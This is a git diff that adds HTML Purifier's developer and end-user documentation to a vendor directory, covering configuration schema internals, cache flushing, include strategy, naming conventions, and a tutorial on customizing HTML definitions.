    + You can identify a builder error by the keyword "directive hash." + These are the easiest to deal with, because they directly correspond + with your directive file. Find the offending directive file (which + is the directive hash plus the .txt extension), find the + offending index ("in DEFAULT" means the DEFAULT key) and fix the error. + This particular error would occur if your default value is not the same + type as TYPE. +

    + +

    Validation errors

    + +
    +

    + Exception: Alias 3 in valueAliases in directive + 'Ns.Dir' must be a string +

    +
    + +

    + These are a little trickier, because we're not actually validating + your directive file, or even the direct string hash representation. + We're validating an Interchange object, and the error messages do + not mention any string hash keys. +

    + +

    + Nevertheless, it's not difficult to figure out what went wrong. + Read the "context" statements in reverse: +

    + +
    +
    in directive 'Ns.Dir'
    +
    This means we need to look at the directive file Ns.Dir.txt
    +
    in valueAliases
    +
    There's no key actually called this, but there's one that's close: + VALUE-ALIASES. Indeed, that's where to look.
    +
    Alias 3
    +
    The value alias that is equal to 3 is the culprit.
    +
    + +

    + In this particular case, you're not allowed to alias integers values to + strings values. +

    + +

    + The most difficult part is translating the Interchange member variable (valueAliases) + into a directive file key (VALUE-ALIASES), but there's a one-to-one + correspondence currently. If the two formats diverge, any discrepancies + will be described in + library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php. +

    + +

    Internals

    + +

    + Much of the configuration schema framework's codebase deals with + shuffling data from one format to another, and doing validation on this + data. + The keystone of all of this is the HTMLPurifier_ConfigSchema_Interchange + class, which represents the purest, parsed representation of the schema. +

    + +

    + Hand-writing this data is unwieldy, however, so we write directive files. + These directive files are parsed by HTMLPurifier_StringHashParser + into HTMLPurifier_StringHashes, which then + are run through HTMLPurifier_ConfigSchema_InterchangeBuilder + to construct the interchange object. +

    + +

    + From the interchange object, the data can be siphoned into other forms + using HTMLPurifier_ConfigSchema_Builder subclasses. + For example, HTMLPurifier_ConfigSchema_Builder_ConfigSchema + generates a runtime HTMLPurifier_ConfigSchema object, + which HTMLPurifier_Config uses to validate its incoming + data. There is also an XML serializer, which is used to build documentation. +

    + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/dev-flush.html b/vendor/ezyang/htmlpurifier/docs/dev-flush.html new file mode 100644 index 00000000..4a3a7835 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-flush.html @@ -0,0 +1,68 @@ + + + + + + + + Flushing the Purifier - HTML Purifier + + + +

    Flushing the Purifier

    + +
    Filed under Development
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    + If you've been poking around the various folders in HTML Purifier, + you may have noticed the maintenance directory. Almost + all of these scripts are devoted to flushing out the various caches + HTML Purifier uses. Normal users don't have to worry about this: + regular library usage is transparent. However, when doing development + work on HTML Purifier, you may find you have to flush one of the + caches. +

    + +

    + As a general rule of thumb, run flush.php whenever you make + any major changes, or when tests start mysteriously failing. + In more detail, run this script if: +

    + +
      +
    • + You added new source files to HTML Purifier's main library. + (see generate-includes.php) +
    • +
    • + You modified the configuration schema (see + generate-schema-cache.php). This usually means + adding or modifying files in HTMLPurifier/ConfigSchema/schema/, + although in rare cases modifying HTMLPurifier/ConfigSchema.php + will also require this. +
    • +
    • + You modified a Definition, or its subsystems. The most usual candidate + is HTMLPurifier/HTMLDefinition.php, which also encompasses + the files in HTMLPurifier/HTMLModule/ as well as if you've + customizing definitions without + the cache disabled. (see flush-generation-cache.php) +
    • +
    • + You modified source files, and have been using the standalone + version from the full installation. (see generate-standalone.php) +
    • +
    + +

    + You can check out the corresponding scripts for more information on what they + do. +

    + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/dev-includes.txt b/vendor/ezyang/htmlpurifier/docs/dev-includes.txt new file mode 100644 index 00000000..d3382b59 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-includes.txt @@ -0,0 +1,281 @@ + +INCLUDES, AUTOLOAD, BYTECODE CACHES and OPTIMIZATION + +The Problem +----------- + +HTML Purifier contains a number of extra components that are not used all +of the time, only if the user explicitly specifies that we should use +them. + +Some of these optional components are optionally included (Filter, +Language, Lexer, Printer), while others are included all the time +(Injector, URIFilter, HTMLModule, URIScheme). We will stipulate that these +are all developer specified: it is conceivable that certain Tokens are not +used, but this is user-dependent and should not be trusted. + +We should come up with a consistent way to handle these things and ensure +that we get the maximum performance when there is bytecode caches and +when there are not. Unfortunately, these two goals seem contrary to each +other. + +A peripheral issue is the performance of ConfigSchema, which has been +shown take a large, constant amount of initialization time, and is +intricately linked to the issue of includes due to its pervasive use +in our plugin architecture. + +Pros and Cons +------------- + +We will assume that user-based extensions will be included by them. + +Conditional includes: + Pros: + - User management is simplified; only a single directive needs to be set + - Only necessary code is included + Cons: + - Doesn't play nicely with opcode caches + - Adds complexity to standalone version + - Optional configuration directives are not exposed without a little + extra coaxing (not implemented yet) + +Include it all: + Pros: + - User management is still simple + - Plays nicely with opcode caches and standalone version + - All configuration directives are present + Cons: + - Lots of (how much?) extra code is included + - Classes that inherit from external libraries will cause compile + errors + +Build an include stub (Let's do this!): + Pros: + - Only necessary code is included + - Plays nicely with opcode caches and standalone version + - require (without once) can be used, see above + - Could further extend as a compilation to one file + Cons: + - Not implemented yet + - Requires user intervention and use of a command line script + - Standalone script must be chained to this + - More complex and compiled-language-like + - Requires a whole new class of system-wide configuration directives, + as configuration objects can be reused + - Determining what needs to be included can be complex (see above) + - No way of autodetecting dynamically instantiated classes + - Might be slow + +Include stubs +------------- + +This solution may be "just right" for users who are heavily oriented +towards performance. However, there are a number of picky implementation +details to work out beforehand. + +The number one concern is how to make the HTML Purifier files "work +out of the box", while still being able to easily get them into a form +that works with this setup. As the codebase stands right now, it would +be necessary to strip out all of the require_once calls. The only way +we could get rid of the require_once calls is to use __autoload or +use the stub for all cases (which might not be a bad idea). + + Aside + ----- + An important thing to remember, however, is that these require_once's + are valuable data about what classes a file needs. Unfortunately, there's + no distinction between whether or not the file is needed all the time, + or whether or not it is one of our "optional" files. Thus, it is + effectively useless. + + Deprecated + ---------- + One of the things I'd like to do is have the code search for any classes + that are explicitly mentioned in the code. If a class isn't mentioned, I + get to assume that it is "optional," i.e. included via introspection. + The choice is either to use PHP's tokenizer or use regexps; regexps would + be faster but a tokenizer would be more correct. If this ends up being + unfeasible, adding dependency comments isn't a bad idea. (This could + even be done automatically by search/replacing require_once, although + we'd have to manually inspect the results for the optional requires.) + + NOTE: This ends up not being necessary, as we're going to make the user + figure out all the extra classes they need, and only include the core + which is predetermined. + +Using the autoload framework with include stubs works nicely with +introspective classes: instead of having to have require_once inside +the function, we can let autoload do the work; we simply need to +new $class or accept the object straight from the caller. Handling filters +becomes a simple matter of ticking off configuration directives, and +if ConfigSchema spits out errors, adding the necessary includes. We could +also use the autoload framework as a fallback, in case the user forgets +to make the include, but doesn't really care about performance. + + Insight + ------- + All of this talk is merely a natural extension of what our current + standalone functionality does. However, instead of having our code + perform the includes, or attempting to inline everything that possibly + could be used, we boot the issue to the user, making them include + everything or setup the fallback autoload handler. + +Configuration Schema +-------------------- + +A common deficiency for all of the conditional include setups (including +the dynamically built include PHP stub) is that if one of this +conditionally included files includes a configuration directive, it +is not accessible to configdoc. A stopgap solution for this problem is +to have it piggy-back off of the data in the merge-library.php script +to figure out what extra files it needs to include, but if the file also +inherits classes that don't exist, we're in big trouble. + +I think it's high time we centralized the configuration documentation. +However, the type checking has been a great boon for the library, and +I'd like to keep that. The compromise is to use some other source, and +then parse it into the ConfigSchema internal format (sans all of those +nasty documentation strings which we really don't need at runtime) and +serialize that for future use. + +The next question is that of format. XML is very verbose, and the prospect +of setting defaults in it gives me willies. However, this may be necessary. +Splitting up the file into manageable chunks may alleviate this trouble, +and we may be even want to create our own format optimized for specifying +configuration. It might look like (based off the PHPT format, which is +nicely compact yet unambiguous and human-readable): + +Core.HiddenElements +TYPE: lookup +DEFAULT: array('script', 'style') // auto-converted during processing +--ALIASES-- +Core.InvisibleElements, Core.StupidElements +--DESCRIPTION-- +

    + Blah blah +

    + +The first line is the directive name, the lines after that prior to the +first --HEADER-- block are single-line values, and then after that +the multiline values are there. No value is restricted to a particular +format: DEFAULT could very well be multiline if that would be easier. +This would make it insanely easy, also, to add arbitrary extra parameters, +like: + +VERSION: 3.0.0 +ALLOWED: 'none', 'light', 'medium', 'heavy' // this is wrapped in array() +EXTERNAL: CSSTidy // this would be documented somewhere else with a URL + +The final loss would be that you wouldn't know what file the directive +was used in; with some clever regexps it should be possible to +figure out where $config->get($ns, $d); occurs. Reflective calls to +the configuration object is mitigated by the fact that getBatch is +used, so we can simply talk about that in the namespace definition page. +This might be slow, but it would only happen when we are creating +the documentation for consumption, and is sugar. + +We can put this in a schema/ directory, outside of HTML Purifier. The serialized +data gets treated like entities.ser. + +The final thing that needs to be handled is user defined configurations. +They can be added at runtime using ConfigSchema::registerDirectory() +which globs the directory and grabs all of the directives to be incorporated +in. Then, the result is saved. We may want to take advantage of the +DefinitionCache framework, although it is not altogether certain what +configuration directives would be used to generate our key (meta-directives!) + + Further thoughts + ---------------- + Our master configuration schema will only need to be updated once + every new version, so it's easily versionable. User specified + schema files are far more volatile, but it's far too expensive + to check the filemtimes of all the files, so a DefinitionRev style + mechanism works better. However, we can uniquely identify the + schema based on the directories they loaded, so there's no need + for a DefinitionId until we give them full programmatic control. + + These variables should be directly incorporated into ConfigSchema, + and ConfigSchema should handle serialization. Some refactoring will be + necessary for the DefinitionCache classes, as they are built with + Config in mind. If the user changes something, the cache file gets + rebuilt. If the version changes, the cache file gets rebuilt. Since + our unit tests flush the caches before we start, and the operation is + pretty fast, this will not negatively impact unit testing. + +One last thing: certain configuration directives require that files +get added. They may even be specified dynamically. It is not a good idea +for the HTMLPurifier_Config object to be used directly for such matters. +Instead, the userland code should explicitly perform the includes. We may +put in something like: + +REQUIRES: HTMLPurifier_Filter_ExtractStyleBlocks + +To indicate that if that class doesn't exist, and the user is attempting +to use the directive, we should fatally error out. The stub includes the core files, +and the user includes everything else. Any reflective things like new +$class would be required to tie in with the configuration. + +It would work very well with rarely used configuration options, but it +wouldn't be so good for "core" parts that can be disabled. In such cases +the core include file would need to be modified, and the only way +to properly do this is use the configuration object. Once again, our +ability to create cache keys saves the day again: we can create arbitrary +stub files for arbitrary configurations and include those. They could +even be the single file affairs. The only thing we'd need to include, +then, would be HTMLPurifier_Config! Then, the configuration object would +load the library. + + An aside... + ----------- + One questions, however, the wisdom of letting PHP files write other PHP + files. It seems like a recipe for disaster, or at least lots of headaches + in highly secured setups, where PHP does not have the ability to write + to its root. In such cases, we could use sticky bits or tell the user + to manually generate the file. + + The other troublesome bit is actually doing the calculations necessary. + For certain cases, it's simple (such as URIScheme), but for AttrDef + and HTMLModule the dependency trees are very complex in relation to + %HTML.Allowed and friends. I think that this idea should be shelved + and looked at a later, less insane date. + +An interesting dilemma presents itself when a configuration form is offered +to the user. Normally, the configuration object is not accessible without +editing PHP code; this facility changes thing. The sensible thing to do +is stipulate that all classes required by the directives you allow must +be included. + +Unit testing +------------ + +Setting up the parsing and translation into our existing format would not +be difficult to do. It might represent a good time for us to rethink our +tests for these facilities; as creative as they are, they are often hacky +and require public visibility for things that ought to be protected. +This is especially applicable for our DefinitionCache tests. + +Migration +--------- + +Because we are not *adding* anything essentially new, it should be trivial +to write a script to take our existing data and dump it into the new format. +Well, not trivial, but fairly easy to accomplish. Primary implementation +difficulties would probably involve formatting the file nicely. + +Backwards-compatibility +----------------------- + +I expect that the ConfigSchema methods should stick around for a little bit, +but display E_USER_NOTICE warnings that they are deprecated. This will +require documentation! + +New stuff +--------- + +VERSION: Version number directive was introduced +DEPRECATED-VERSION: If the directive was deprecated, when was it deprecated? +DEPRECATED-USE: If the directive was deprecated, what should the user use now? +REQUIRES: What classes does this configuration directive require, but are + not part of the HTML Purifier core? + + vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/dev-naming.html b/vendor/ezyang/htmlpurifier/docs/dev-naming.html new file mode 100644 index 00000000..cea4b006 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-naming.html @@ -0,0 +1,83 @@ + + + + + + + +Naming Conventions - HTML Purifier + + + +

    Naming Conventions

    + +
    Filed under Development
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    The classes in this library follow a few naming conventions, which may +help you find the correct functionality more quickly. Here they are:

    + +
    + +
    All classes occupy the HTMLPurifier pseudo-namespace.
    +
    This means that all classes are prefixed with HTMLPurifier_. As such, all + names under HTMLPurifier_ are reserved. I recommend that you use the name + HTMLPurifierX_YourName_ClassName, especially if you want to take advantage + of HTMLPurifier_ConfigDef.
    + +
    All classes correspond to their path if library/ was in the include path
    +
    HTMLPurifier_AttrDef is located at HTMLPurifier/AttrDef.php; replace + underscores with slashes and append .php and you'll have the location of + the class.
    + +
    Harness and Test are reserved class names for unit tests
    +
    The suffix Test indicates that the class is a subclass of UnitTestCase + (of the Simpletest library) and is testable. "Harness" indicates a subclass + of UnitTestCase that is not meant to be run but to be extended into + concrete test cases and contains custom test methods (i.e. assert*())
    + +
    Class names do not necessarily represent inheritance hierarchies
    +
    While we try to reflect inheritance in naming to some extent, it is not + guaranteed (for instance, none of the classes inherit from HTMLPurifier, + the base class). However, all class files have the require_once + declarations to whichever classes they are tightly coupled to.
    + +
    Strategy has a meaning different from the Gang of Four pattern
    +
    In Design Patterns, the Gang of Four describes a Strategy object as + encapsulating an algorithm so that they can be switched at run-time. While + our strategies are indeed algorithms, they are not meant to be substituted: + all must be present in order for proper functioning.
    + +
    Abbreviations are avoided
    +
    We try to avoid abbreviations as much as possible, but in some cases, + abbreviated version is more readable than the full version. Here, we + list common abbreviations: +
      +
    • Attr to Attributes (note that it is plural, i.e. $attr = array())
    • +
    • Def to Definition
    • +
    • $ret is the value to be returned in a function
    • +
    +
    + +
    Ambiguity concerning the definition of Def/Definition
    +
    While a definition normally defines the structure/acceptable values of + an entity, most of the definitions in this application also attempt + to validate and fix the value. I am unsure of a better name, as + "Validator" would exclude fixing the value, "Fixer" doesn't invoke + the proper image of "fixing" something, and "ValidatorFixer" is too long! + Some other suggestions were "Handler", "Reference", "Check", "Fix", + "Repair" and "Heal".
    + +
    Transform not Transformer
    +
    Transform is both a noun and a verb, and thus we define a "Transform" as + something that "transforms," leaving "Transformer" (which sounds like an + electrical device/robot toy).
    + +
    + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/dev-optimization.html b/vendor/ezyang/htmlpurifier/docs/dev-optimization.html new file mode 100644 index 00000000..78f56581 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-optimization.html @@ -0,0 +1,33 @@ + + + + + + + +Optimization - HTML Purifier + + + +

    Optimization

    + +
    Filed under Development
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    Here are some possible optimization techniques we can apply to code sections if +they turn out to be slow. Be sure not to prematurely optimize: if you get +that itch, put it here!

    + +
      +
    • Make Tokens Flyweights (may prove problematic, probably not worth it)
    • +
    • Rewrite regexps into PHP code
    • +
    • Batch regexp validation (do as many per function call as possible)
    • +
    • Parallelize strategies
    • +
    + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/dev-progress.html b/vendor/ezyang/htmlpurifier/docs/dev-progress.html new file mode 100644 index 00000000..105896ed --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dev-progress.html @@ -0,0 +1,309 @@ + + + + + + + +Implementation Progress - HTML Purifier + + + + + +

    Implementation Progress

    + +
    Filed under Development
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    + Warning: This table is kept for historical purposes and + is not being actively updated. +

    + +

    Key

    + + + + + + + + +
    Implemented
    Partially implemented
    Not priority to implement
    Dangerous attribute/property
    Present in CSS1
    Feature, requires extra work
    + +

    CSS

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    NameNotes
    Standard
    background-colorCOMPOSITE(<color>, transparent)
    backgroundSHORTHAND, currently alias for background-color
    borderSHORTHAND, MULTIPLE
    border-colorMULTIPLE
    border-styleMULTIPLE
    border-widthMULTIPLE
    border-*SHORTHAND
    border-*-colorCOMPOSITE(<color>, transparent)
    border-*-styleENUM(none, hidden, dotted, dashed, + solid, double, groove, ridge, inset, outset)
    border-*-widthCOMPOSITE(<length>, thin, medium, thick)
    clearENUM(none, left, right, both)
    color<color>
    floatENUM(left, right, none), May require layout + precautions with clear
    fontSHORTHAND
    font-familyCSS validator may complain if fallback font + family not specified
    font-sizeCOMPOSITE(<absolute-size>, + <relative-size>, <length>, <percentage>)
    font-styleENUM(normal, italic, oblique)
    font-variantENUM(normal, small-caps)
    font-weightENUM(normal, bold, bolder, lighter, + 100, 200, 300, 400, 500, 600, 700, 800, 900), maybe special code for + in-between integers
    letter-spacingCOMPOSITE(<length>, normal)
    line-heightCOMPOSITE(<number>, + <length>, <percentage>, normal)
    list-style-positionENUM(inside, outside), + Strange behavior in browsers
    list-style-typeENUM(...), + Well-supported values are: disc, circle, square, + decimal, lower-roman, upper-roman, lower-alpha and upper-alpha. See also + CSS 3. Mostly IE lack of support.
    list-styleSHORTHAND
    marginMULTIPLE
    margin-*COMPOSITE(<length>, + <percentage>, auto)
    paddingMULTIPLE
    padding-*COMPOSITE(<length>(positive), + <percentage>(positive))
    text-alignENUM(left, right, + center, justify)
    text-decorationNo blink (argh my eyes), not + enum, can be combined (composite sorta): underline, overline, + line-through
    text-indentCOMPOSITE(<length>, + <percentage>)
    text-transformENUM(capitalize, uppercase, + lowercase, none)
    widthCOMPOSITE(<length>, + <percentage>, auto), Interesting
    word-spacingCOMPOSITE(<length>, auto), + IE 5 no support
    Table
    border-collapseENUM(collapse, seperate)
    border-spaceMULTIPLE
    caption-sideENUM(top, bottom)
    empty-cellsENUM(show, hide), No IE support makes this useless, + possible fix with &nbsp;? Unknown release milestone.
    table-layoutENUM(auto, fixed)
    vertical-alignCOMPOSITE(ENUM(baseline, sub, + super, top, text-top, middle, bottom, text-bottom), <percentage>, + <length>) Also applies to others with explicit height
    Absolute positioning, unknown release milestone
    bottomDangerous, must be non-negative to even be considered, + but it's still possible to arbitrarily position by running over.
    left
    right
    top
    clip-
    positionENUM(static, relative, absolute, fixed) + relative not absolute?
    z-indexDangerous
    Unknown
    background-imageDangerous
    background-attachmentENUM(scroll, fixed), + Depends on background-image
    background-positionDepends on background-image
    cursorDangerous but fluffy
    displayENUM(...), Dangerous but interesting; + will not implement list-item, run-in (Opera only) or table (no IE); + inline-block has incomplete IE6 support and requires -moz-inline-box + for Mozilla. Unknown target milestone.
    heightInteresting, why use it? Unknown target milestone.
    list-style-imageDangerous?
    max-heightNo IE 5/6
    min-height
    max-width
    min-width
    orphansNo IE support
    widowsNo IE support
    overflowENUM, IE 5/6 almost (remove visible if set). Unknown target milestone.
    page-break-afterENUM(auto, always, avoid, left, right), + IE 5.5/6 and Opera. Unknown target milestone.
    page-break-beforeENUM(auto, always, avoid, left, right), + Mostly supported. Unknown target milestone.
    page-break-insideENUM(avoid, auto), Opera only. Unknown target milestone.
    quotesMay be dropped from CSS2, fairly useless for inline context
    visibilityENUM(visible, hidden, collapse), + Dangerous
    white-spaceENUM(normal, pre, nowrap, pre-wrap, + pre-line), Spotty implementation: + pre (no IE 5/6), nowrap (no IE 5, supported), + pre-wrap (only Opera), pre-line (no support). Fixable? Unknown target milestone.
    Aural
    azimuth-
    cue-
    cue-after-
    cue-before-
    elevation-
    pause-after-
    pause-before-
    pause-
    pitch-range-
    pitch-
    play-during-
    richness-
    speak-headerTable related
    speak-numeral-
    speak-punctuation-
    speak-
    speech-rate-
    stress-
    voice-family-
    volume-
    Will not implement
    contentNot applicable for inline styles
    counter-incrementNeeds content, Opera only
    counter-resetNeeds content, Opera only
    directionNo support
    outline-colorIE Mac and Opera on outside, +Mozilla on inside and needs -moz-outline, no IE support.
    outline-style
    outline-width
    outline
    unicode-bidiNo support
    + +

    Interesting Attributes

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    AttributeTagsNotes
    CSS
    styleAllParser is reasonably functional. Status here doesn't count individual properties.
    Questionable
    accesskeyAMay interfere with main interface
    tabindexAMay interfere with main interface
    targetAConfig enabled, only useful for frame layouts, disallowed in strict
    Miscellaneous
    datetimeDEL, INSNo visible effect, ISO format
    relALargely user-defined: nofollow, tag (see microformats)
    revALargely user-defined: vote-*
    axisTD, THW3C only: No browser implementation
    charCOL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TRW3C only: No browser implementation
    headersTD, THW3C only: No browser implementation
    scopeTD, THW3C only: No browser implementation
    URI
    citeBLOCKQUOTE, QFor attribution
    DEL, INSLink to explanation why it changed
    hrefA-
    longdescIMG-
    srcIMGRequired
    Transform
    alignCAPTION'caption-side' for top/bottom, 'text-align' for left/right
    IMGSee specimens/html-align-to-css.html
    TABLE
    HR
    H1, H2, H3, H4, H5, H6, PEquivalent style 'text-align'
    altIMGRequired, insert image filename if src is present or default invalid image text
    bgcolorTABLESuperset style 'background-color'
    TRSuperset style 'background-color'
    TD, THSuperset style 'background-color'
    borderIMGEquivalent style border:[number]px solid
    clearBRNear-equiv style 'clear', transform 'all' into 'both'
    compactDL, OL, ULBoolean, needs custom CSS class; rarely used anyway
    dirBDORequired, insert ltr (or configuration value) if none
    heightTD, THNear-equiv style 'height', needs px suffix if original was in pixels
    hspaceIMGNear-equiv styles 'margin-top' and 'margin-bottom', needs px suffix
    lang*Copy value to xml:lang
    nameIMGTurn into ID
    ATurn into ID
    noshadeHRBoolean, style 'border-style:solid;'
    nowrapTD, THBoolean, style 'white-space:nowrap;' (not compat with IE5)
    sizeHRNear-equiv 'height', needs px suffix if original was pixels
    srcIMGRequired, insert blank or default img if not set
    startOLPoorly supported 'counter-reset', allowed in loose, dropped in strict
    typeLIEquivalent style 'list-style-type', different allowed values though. (needs testing)
    OL
    UL
    valueLIPoorly supported 'counter-reset', allowed in loose, dropped in strict
    vspaceIMGNear-equiv styles 'margin-left' and 'margin-right', needs px suffix, see hspace
    widthHRNear-equiv style 'width', needs px suffix if original was pixels
    TD, TH
    + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd b/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd new file mode 100644 index 00000000..628f27ac --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd @@ -0,0 +1,1201 @@ + + + + + +%HTMLlat1; + + +%HTMLsymbol; + + +%HTMLspecial; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-customize.html b/vendor/ezyang/htmlpurifier/docs/enduser-customize.html new file mode 100644 index 00000000..7e1ffa26 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/enduser-customize.html @@ -0,0 +1,850 @@ + + + + + + + +Customize - HTML Purifier + + + +

    Customize!

    +
    HTML Purifier is a Swiss-Army Knife
    + +
    Filed under End-User
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    + HTML Purifier has this quirk where if you try to allow certain elements or + attributes, HTML Purifier will tell you that it's not supported, and that + you should go to the forums to find out how to implement it. Well, this + document is how to implement elements and attributes which HTML Purifier + doesn't support out of the box. +

    + +

    Is it necessary?

    + +

    + Before we even write any code, it is paramount to consider whether or + not the code we're writing is necessary or not. HTML Purifier, by default, + contains a large set of elements and attributes: large enough so that + any element or attribute in XHTML 1.0 or 1.1 (and its HTML variants) + that can be safely used by the general public is implemented. +

    + +

    + So what needs to be implemented? (Feel free to skip this section if + you know what you want). +

    + +

    XHTML 1.0

    + +

    + All of the modules listed below are based off of the + modularization of + XHTML, which, while technically for XHTML 1.1, is quite a useful + resource. +

    + +
      +
    • Structure
    • +
    • Frames
    • +
    • Applets (deprecated)
    • +
    • Forms
    • +
    • Image maps
    • +
    • Objects
    • +
    • Frames
    • +
    • Events
    • +
    • Meta-information
    • +
    • Style sheets
    • +
    • Link (not hypertext)
    • +
    • Base
    • +
    • Name
    • +
    + +

    + If you don't recognize it, you probably don't need it. But the curious + can look all of these modules up in the above-mentioned document. Note + that inline scripting comes packaged with HTML Purifier (more on this + later). +

    + +

    XHTML 1.1

    + +

    + As of HTMLPurifier 2.1.0, we have implemented the + Ruby module, + which defines a set of tags + for publishing short annotations for text, used mostly in Japanese + and Chinese school texts, but applicable for positioning any text (not + limited to translations) above or below other corresponding text. +

    + +

    HTML 5

    + +

    + HTML 5 + is a fork of HTML 4.01 by WHATWG, who believed that XHTML 2.0 was headed + in the wrong direction. It too is a working draft, and may change + drastically before publication, but it should be noted that the + canvas tag has been implemented by many browser vendors. +

    + +

    Proprietary

    + +

    + There are a number of proprietary tags still in the wild. Many of them + have been documented in ref-proprietary-tags.txt, + but there is currently no implementation for any of them. +

    + +

    Extensions

    + +

    + There are also a number of other XML languages out there that can + be embedded in HTML documents: two of the most popular are MathML and + SVG, and I frequently get requests to implement these. But they are + expansive, comprehensive specifications, and it would take far too long + to implement them correctly (most systems I've seen go as far + as whitelisting tags and no further; come on, what about nesting!) +

    + +

    + Word of warning: HTML Purifier is currently not namespace + aware. +

    + +

    Giving back

    + +

    + As you may imagine from the details above (don't be abashed if you didn't + read it all: a glance over would have done), there's quite a bit that + HTML Purifier doesn't implement. Recent architectural changes have + allowed HTML Purifier to implement elements and attributes that are not + safe! Don't worry, they won't be activated unless you set %HTML.Trusted + to true, but they certainly help out users who need to put, say, forms + on their page and don't want to go through the trouble of reading this + and implementing it themself. +

    + +

    + So any of the above that you implement for your own application could + help out some other poor sap on the other side of the globe. Help us + out, and send back code so that it can be hammered into a module and + released with the core. Any code would be greatly appreciated! +

    + +

    And now...

    + +

    + Enough philosophical talk, time for some code: +

    + +
    $config = HTMLPurifier_Config::createDefault();
    +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    +$config->set('HTML.DefinitionRev', 1);
    +if ($def = $config->maybeGetRawHTMLDefinition()) {
    +    // our code will go here
    +}
    + +

    + Assuming that HTML Purifier has already been properly loaded (hint: + include HTMLPurifier.auto.php), this code will set up + the environment that you need to start customizing the HTML definition. + What's going on? +

    + +
      +
    • + The first three lines are regular configuration code: +
        +
      • + %HTML.DefinitionID is set to a unique identifier for your + custom HTML definition. This prevents it from clobbering + other custom definitions on the same installation. +
      • +
      • + %HTML.DefinitionRev is a revision integer of your HTML + definition. Because HTML definitions are cached, you'll need + to increment this whenever you make a change in order to flush + the cache. +
      • +
      +
    • +
    • + The fourth line retrieves a raw HTMLPurifier_HTMLDefinition + object that we will be tweaking. Interestingly enough, we have + placed it in an if block: this is because + maybeGetRawHTMLDefinition, as its name suggests, may + return a NULL, in which case we should skip doing any + initialization. This, in fact, will correspond to when our fully + customized object is already in the cache. +
    • +
    + +

    Turn off caching

    + +

    + To make development easier, we're going to temporarily turn off + definition caching: +

    + +
    $config = HTMLPurifier_Config::createDefault();
    +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    +$config->set('HTML.DefinitionRev', 1);
    +$config->set('Cache.DefinitionImpl', null); // TODO: remove this later!
    +$def = $config->getHTMLDefinition(true);
    + +

    + A few things should be mentioned about the caching mechanism before + we move on. For performance reasons, HTML Purifier caches generated + HTMLPurifier_Definition objects in serialized files + stored (by default) in library/HTMLPurifier/DefinitionCache/Serializer. + A lot of processing is done in order to create these objects, so it + makes little sense to repeat the same processing over and over again + whenever HTML Purifier is called. +

    + +

    + In order to identify a cache entry, HTML Purifier uses three variables: + the library's version number, the value of %HTML.DefinitionRev and + a serial of relevant configuration. Whenever any of these changes, + a new HTML definition is generated. Notice that there is no way + for the definition object to track changes to customizations: here, it + is up to you to supply appropriate information to DefinitionID and + DefinitionRev. +

    + +

    Add an attribute

    + +

    + For this example, we're going to implement the target attribute found + on a elements. To implement an attribute, we have to + ask a few questions: +

    + +
      +
    1. What element is it found on?
    2. +
    3. What is its name?
    4. +
    5. Is it required or optional?
    6. +
    7. What are valid values for it?
    8. +
    + +

    + The first three are easy: the element is a, the attribute + is target, and it is not a required attribute. (If it + was required, we'd need to append an asterisk to the attribute name, + you'll see an example of this in the addElement() example). +

    + +

    + The last question is a little trickier. + Lets allow the special values: _blank, _self, _target and _top. + The form of this is called an enumeration, a list of + valid values, although only one can be used at a time. To translate + this into code form, we write: +

    + +
    $config = HTMLPurifier_Config::createDefault();
    +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    +$config->set('HTML.DefinitionRev', 1);
    +$config->set('Cache.DefinitionImpl', null); // remove this later!
    +$def = $config->getHTMLDefinition(true);
